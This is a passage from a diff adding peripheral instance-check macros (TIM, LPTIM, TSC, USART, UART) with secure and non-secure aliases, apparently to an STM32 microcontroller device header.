((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S)) + +/****************** LPTIM Instances : supporting encoder interface **************/ +#define IS_LPTIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S)) + +/****************** LPTIM Instances : supporting Input Capture **************/ +#define IS_LPTIM_INPUT_CAPTURE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S)) + +/****************** TIM Instances : All supported instances *******************/ +#define IS_TIM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting 32 bits counter ****************/ +#define IS_TIM_32B_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) + +/****************** TIM Instances : supporting the break function *************/ +#define IS_TIM_BREAK_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************** TIM Instances : supporting Break source selection *************/ +#define IS_TIM_BREAKSOURCE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting 2 break inputs *****************/ +#define IS_TIM_BKIN2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************* TIM Instances : at least 1 capture/compare channel *************/ +#define IS_TIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************ TIM Instances : at least 2 capture/compare channels *************/ +#define IS_TIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/************ TIM Instances : at least 3 capture/compare channels *************/ +#define IS_TIM_CC3_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************ TIM Instances : at least 4 capture/compare channels *************/ +#define IS_TIM_CC4_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 5 capture/compare channels *******/ +#define IS_TIM_CC5_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 6 capture/compare channels *******/ +#define IS_TIM_CC6_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : DMA requests generation (TIMx_DIER.UDE) ***/ +#define IS_TIM_DMA_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************ TIM Instances : DMA requests generation (TIMx_DIER.CCxDE) *******/ +#define IS_TIM_DMA_CC_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************** TIM Instances : DMA burst feature ***********************/ +#define IS_TIM_DMABURST_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************* TIM Instances : output(s) available **********************/ +#define IS_TIM_CCX_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2))) \ + || \ + ((((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1))) \ + || \ + ((((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1)))) + +/****************** TIM Instances : supporting complementary output(s) ********/ +#define IS_TIM_CCXN_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1)) \ + || \ + ((((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1)) \ + || \ + ((((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1))) + +/****************** TIM Instances : supporting clock division *****************/ +#define IS_TIM_CLOCK_DIVISION_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****** TIM Instances : supporting external clock mode 1 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : supporting external clock mode 2 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting external clock mode 1 for TIX inputs*/ +#define IS_TIM_CLOCKSOURCE_TIX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting internal trigger inputs(ITRX) *******/ +#define IS_TIM_CLOCKSOURCE_ITRX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting combined 3-phase PWM mode ******/ +#define IS_TIM_COMBINED3PHASEPWM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting commutation event generation ***/ +#define IS_TIM_COMMUTATION_EVENT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting counting mode selection ********/ +#define IS_TIM_COUNTER_MODE_SELECT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting encoder interface **************/ +#define IS_TIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting Hall sensor interface **********/ +#define IS_TIM_HALL_SENSOR_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/**************** TIM Instances : external trigger input available ************/ +#define IS_TIM_ETR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : Master mode available (TIMx_CR2.MMS available )********/ +#define IS_TIM_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/*********** TIM Instances : Slave mode available (TIMx_SMCR available )*******/ +#define IS_TIM_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting OCxREF clear *******************/ +#define IS_TIM_OCXREF_CLEAR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : remapping capability **********************/ +#define IS_TIM_REMAP_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting repetition counter *************/ +#define IS_TIM_REPETITION_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting ADC triggering through TRGO2 ***/ +#define IS_TIM_TRGO2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/******************* TIM Instances : Timer input XOR function *****************/ +#define IS_TIM_XOR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/******************* TIM Instances : Timer input selection ********************/ +#define IS_TIM_TISEL_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) ||\ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) ||\ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) ||\ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) ||\ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) ||\ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) ||\ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)||\ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)||\ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************* TIM Instances : supporting HSE32 as input ********************/ +#define IS_TIM_HSE32_INSTANCE(INSTANCE) (((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) ||\ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : Advanced timer instances *******************/ +#define IS_TIM_ADVANCED_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting synchronization ****************/ +#define IS_TIM_SYNCHRO_INSTANCE(__INSTANCE__) (((__INSTANCE__) == TIM1_NS) || ((__INSTANCE__) == TIM1_S) || \ + ((__INSTANCE__) == TIM2_NS) || ((__INSTANCE__) == TIM2_S) || \ + ((__INSTANCE__) == TIM3_NS) || ((__INSTANCE__) == TIM3_S) || \ + ((__INSTANCE__) == TIM4_NS) || ((__INSTANCE__) == TIM4_S) || \ + ((__INSTANCE__) == TIM5_NS) || ((__INSTANCE__) == TIM5_S) || \ + ((__INSTANCE__) == TIM6_NS) || ((__INSTANCE__) == TIM6_S) || \ + ((__INSTANCE__) == TIM7_NS) || ((__INSTANCE__) == TIM7_S) || \ + ((__INSTANCE__) == TIM8_NS) || ((__INSTANCE__) == TIM8_S) || \ + ((__INSTANCE__) == TIM15_NS) || ((__INSTANCE__) == TIM15_S)) + +/****************************** TSC Instances *********************************/ +#define IS_TSC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == TSC_NS) || ((INSTANCE) == TSC_S)) + +/******************** USART Instances : Synchronous mode **********************/ +#define IS_USART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S)) + +/******************** UART Instances : Asynchronous mode **********************/ +#define IS_UART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S)) + +/*********************** UART Instances : FIFO mode ***************************/ +#define IS_UART_FIFO_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : SPI Slave mode **********************/ +#define IS_UART_SPI_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S)) + +/****************** UART Instances : Auto Baud Rate detection ****************/ +#define IS_USART_AUTOBAUDRATE_DETECTION_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S)) + +/****************** UART Instances : Driver Enable *****************/ +#define IS_UART_DRIVER_ENABLE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : Half-Duplex mode **********************/ +#define IS_UART_HALFDUPLEX_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/****************** UART Instances : Hardware Flow control ********************/ +#define IS_UART_HWFLOW_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) 